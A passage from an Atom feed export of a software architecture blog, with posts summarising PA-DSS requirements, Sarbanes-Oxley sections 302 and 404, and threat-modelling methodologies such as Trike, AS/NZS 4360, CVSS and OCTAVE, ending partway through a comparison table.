&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;10.3 Record audit trail events&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;11.3 Regularly test security systems and processes&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;11.4 Use intrusion detection/ prevention systems&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

PA-DSS Summary&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Do not retain full magnetic stripe, card verification code or value (CAV2, CID, CVC2, CVV2), or PIN block data&lt;/li&gt;
&lt;li&gt;Protect stored cardholder data&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Provide secure authentication features&lt;/li&gt;
&lt;li&gt;Log payment application activity&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Develop secure payment applications &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Protect wireless transmissions &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Test payment applications to address vulnerabilities &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Facilitate secure network implementation &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Cardholder data must never be stored on a server connected to the Internet &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Facilitate secure remote access to payment application &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Encrypt sensitive traffic over public networks &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Encrypt all non-console administrative access &amp;nbsp;&lt;/li&gt;
&lt;li&gt;Maintain instructional documentation and training programs for customers, resellers, and integrators&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/5138930860884831571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/04/security-pci-compliance.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/5138930860884831571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/5138930860884831571'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/04/security-pci-compliance.html' title='Security: PCI Compliance'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-404425603620681912</id><published>2012-05-06T11:54:00.000-07:00</published><updated>2012-05-07T10:12:43.870-07:00</updated><title type='text'>Sarbanes Oxley (SOX)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
SOX affects information security and the below are two specific sections of the act:&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

section 302: Corporate responsibility for financial reports&lt;/h3&gt;
Section 302 states that the Chief Executive Officer (CEO) and Chief Financial &amp;nbsp;Officer (CFO) must personally certify that financial reports are accurate and complete. They must also assess and report on the effectiveness of internal controls around financial reporting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

section 404: Management assessment of internal controls&lt;/h3&gt;
&lt;br /&gt;
Section 404 states that a corporation must assess the effectiveness of its internal controls and report this assessment annually to the SEC. The assessment must&lt;br /&gt;
also be reviewed and judged by an outside auditing firm.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

Public Company Accounting Oversight Board (PCAOB)&lt;/h3&gt;
The role of PCOAB is to oversee and guide auditors as they assess a company’s compliance with SOX.&lt;br /&gt;
&quot;&lt;b&gt;Proposed Auditing Standards&lt;/b&gt;&quot; provide more detailed guidance for assessing compliance with the intent of SOX. information technology (IT) general controls form the foundation for many other types of financial reporting controls and, therefore, must be assessed for SOX.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

COSO &amp;amp; COBIT&lt;/h3&gt;
For the purpose of internal control guidance, PCAOB has selected a control&lt;br /&gt;
framework created by the Committee of Sponsoring Organizations (COSO). The&lt;br /&gt;
COSO framework provides a structured and comprehensive set of guidelines for&lt;br /&gt;
creating and implementing internal controls.&lt;br /&gt;
&lt;br /&gt;
The Information Technology Governance Institute (&lt;b&gt;ITGI&lt;/b&gt;)&amp;nbsp;is a group created to assist&amp;nbsp;corporations with governing their IT and ensuring IT efficiently supports business&amp;nbsp;mission and goals. ITGI has used COSO and COBIT to create a set of specific IT&amp;nbsp;control objectives for SOX.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;references&lt;/b&gt;&lt;/h3&gt;
http://pcaobus.org&lt;br /&gt;
&lt;br /&gt;
http://www.coso.org/default.htm&lt;br /&gt;
http://www.isaca.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/404425603620681912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/05/sarbanes-oxley-sox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/404425603620681912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/404425603620681912'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/05/sarbanes-oxley-sox.html' title='Sarbanes Oxley (SOX)'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-453596746420019813</id><published>2012-04-22T19:13:00.000-07:00</published><updated>2012-04-22T19:13:20.560-07:00</updated><title type='text'>Threat Modelling</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956441&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Alternative Threat Modeling Systems&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;OWASP recognizes that the adoption of a Microsoft modeling process may be a controversial choice in some organizations. If STRIDE / DREAD is unacceptable due to unfounded prejudice, we recommend that every organization trial the various threat models against an existing application or design. This will allow the organization to determine which approach works best for them, and adopt the most appropriate threat modeling tools for their organization. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;Performing threat modeling provides a far greater return than any control in this Guide. It is vital that threat modeling takes place.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956442&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Trike&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Trike is a threat modeling framework with similarities to the Microsoft threat model process. However, Trike is differentiated by using a risk based approach with distinct implementation, threat and risk models, instead of using a mixed threat model (attacks, threats, and weaknesses) as represented by STRIDE / DREAD. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;From the Trike paper, Trike aims to:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;BlockQuote&quot;&gt;With assistance from the system stakeholders, ensure that the risk this system entails to each asset is acceptable to all stakeholders.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;BlockQuote&quot;&gt;Be able to tell whether we have done this.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;BlockQuote&quot;&gt;Communicate what we’ve done and its effects to the stakeholders.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;BlockQuote&quot;&gt;Empower stakeholders to understand and reduce the risks to themselves and other stakeholders implied by their actions within their domains. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;For more information, please review the “Further Reading” section below. The OWASP Guide 2.1 (due November 2005) will have more details on Trike.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956443&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;AS/NZS 4360:2004 Risk Management&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Australian Standard / New Zealand Standard AS/NZS 4360, first issued in 1999, is the world’s first formal standard for documenting and managing risk, and is still one of the few formal standards for managing risk. It was updated in 2004.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;AS/NZS 4360’s approach is simple (it’s only 28 pages long) and flexible, and does not lock organizations into any particular method of risk management as long as the risk management fulfils the AS/NZS 4360 five steps. It provides several sets of risk tables and allows organizations to adopt their own.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;The five major components of AS/NZS 4360’s iterative approach are:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Establish the context – establish what is to be risk treated, i.e. which assets / systems are important&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Identify the risks – within the systems to be treated, what risks are apparent?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Analyze the risks – look at the risks and determine if there are any supporting controls &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Evaluate the risks – determine the residual risk &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Treat the risks – describe the method to treat the risks so that risks selected by the business can be mitigated.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;AS/NZS 4360 assumes that risk will be managed by an operational risk style of group, and that the organization has adequate skills in house, and risk management groups to identify, analyze, and treat the risks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; line-height: 150%; mso-ansi-language: EN-US; mso-bidi-font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;&quot;&gt;&lt;br clear=&quot;all&quot; style=&quot;page-break-before: always;&quot; /&gt; &lt;/span&gt;  &lt;div class=&quot;Body&quot;&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;Why you would use AS/NZS 4360:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;AS/NZS 4360 works well as a risk management methodology for organizations requiring Sarbanes-Oxley compliance.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;AS/NZS 4360 works well for organizations that prefer to manage risks in a traditional way, such as using just likelihood and consequence to determine an overall risk. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;AS/NZS 4360 is familiar to most risk managers worldwide, and your organization may already have implemented an AS 4360 compatible approach&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;You are an Australian organization, and thus may be required to use it if you are audited externally on a regular basis, or justify why you are not using it. Luckily, the STRIDE / DREAD model referred to above is AS/NZS 4360 compatible.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;Why you would not use AS/NZS 4360:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;AS/NZS 4360’s approach works far better for business or systemic risks than technical risks&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;AS/NZS 4360 does not discuss methods to perform a structured threat risk modeling exercise&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;As AS/NZS 4360 is a generic framework for managing risk, it does not provide any structured method to enumerate web application security risks. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Although AS 4360 can be used to rank risks for security reviews, the lack of structured methods of enumerating threats for web applications makes it less desirable than other methods.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956444&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956444&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;CVSS&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;The US Department of Homeland Security (DHS) established the NIAC Vulnerability Disclosure Working Group, which incorporates input from Cisco, Symantec, ISS, Qualys, Microsoft, CERT/CC, and eBay. One of the outputs of this group is the Common Vulnerability Scoring System (CVSS). &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;Why you would use CVSS:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;You have just received notification from a security researcher or other source that your product has a vulnerability, and you wish to ensure that it has a trustworthy severity rating so as to alert your users to the appropriate level of action required when you release the patch&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;You are a security researcher, and have found several exploits for a program. You would like to use the CVSS ranking system to produce reliable risk rankings, to ensure that the ISV will take the exploits seriously as compared to their rating. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;The use of CVSS is recommended for use by US government departments by the working group – it is unclear if this is policy at the time of writing.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;Why you would not use CVSS:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;CVSS does not find or reduce attack surface area (i.e. design flaws), nor help enumerate possible risks from any arbitrary piece of code as it is not designed for that purpose.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;CVSS is more complex than STRIDE / DREAD, as it aims to model the risk of announced vulnerabilities as applied to released software. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;CVSS risk ranking is complex – a spreadsheet is required to calculate the risks as the assumption behind CVSS is that a single risk has been announced, or a worm or Trojan has been released targeting a small number of attack vectors. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;The overhead of calculating the CVSS risk ranking is quite high if applied to a thorough code review, which may have 250 or more threats to rank.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956445&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956445&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Octave&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Octave is a heavyweight risk Methodology approach from CMU’s Software Engineering Institute in collaboration with CERT. OCTAVE is targeted not at technical risk, but organizational risk. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;OCTAVE consists of two versions: OCTAVE – for large organizations and OCTAVE-S for small organizations, both of which have catalogs of practices, profiles, and worksheets to document the OCTAVE outcomes. OCTAVE is popular with many sites. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;OCTAVE is useful when:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Implementing a culture of risk management and control within an organization &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Documenting and measuring business risk&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Documenting and measuring overall IT security risk, particularly as it relates to whole of company IT risk management&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Documenting risks surrounding complete systems&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;When an organization is mature, does not have a working risk methodology in place, and requires a robust risk management framework to be put in place&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;b&gt;The downsides of Octave are: &lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;OCTAVE is incompatible with AS 4360, as it forces Likelihood=1 (i.e. a threat will always occur). This is also inappropriate for many organizations. OCTAVE-S has an optional inclusion of probability, but this is not part of OCTAVE. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Consisting of 18 volumes, OCTAVE is large and complex, with many worksheets and practices to implement&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;It does not provide a list of out of the box practices for web application security risks&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;OWASP does not expect OCTAVE to be used by designers or developers of applications, and thus it misses the raison d’être of threat modeling – which is to be used during all stages of development by all participants to reduce the risk of the application becoming vulnerable to attack. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;HeadC&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;HeadC&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Comparing threat modeling approaches&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;Here is how roughly the CVSS measures up to STRIDE / DREAD:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 480;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;   &lt;td style=&quot;background: #F3F3F3; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Metric&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: #F3F3F3; border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Attribute&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: #F3F3F3; border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Description&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: #F3F3F3; border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Closest STRIDE /   DREAD &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Base Metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Access vector&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Local or remote   access?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;~ Exploitability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Base Metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Access complexity&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How hard to   reproduce the exploit&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Reproducibility&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Base Metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Authentication&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 139.9pt;&quot; valign=&quot;top&quot; width=&quot;280&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Anonymous or   authenticated?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;~ Exploitability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;CVSS Base Metrics&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 99.5pt;&quot; valign=&quot;top&quot; width=&quot;199&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Confidentiality   impact&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; 